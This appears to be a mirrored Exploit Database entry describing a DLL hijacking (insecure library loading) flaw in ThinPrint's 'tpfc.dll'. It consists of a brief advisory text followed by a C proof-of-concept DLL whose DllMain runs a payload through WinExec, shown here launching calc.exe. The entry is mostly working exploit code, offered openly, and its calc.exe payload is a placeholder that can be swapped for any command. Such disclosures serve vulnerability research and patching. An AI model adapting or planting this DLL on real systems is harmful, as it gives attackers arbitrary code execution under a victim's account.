ThinPrint – ‘tpfc.dll’ Insecure Library Loading Arbitrary Code Execution

• Exploit Database
• 20 阅读

• 作者： Moshe Zioni
  日期： 2012-09-04
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/37780/

• // source: https://www.securityfocus.com/bid/55421/info
  
  ThinPrint is prone to a vulnerability that lets attackers execute arbitrary code.
  
  Exploiting this issue allows local attackers to execute arbitrary code with the privileges of the user running the affected application. 
  
  #include <windows.h> 
  
  	int hijack_poc () 
  	{ 
  	WinExec ( "calc.exe" , SW_NORMAL );
  	return 0 ; 
  	} 
  	
  	BOOL WINAPI DllMain 
  		 (	HINSTANCE hinstDLL , 
  			DWORD dwReason ,
  			LPVOID lpvReserved ) 
  	{ 
  	hijack_poc () ;
  	return 0 ;
  	}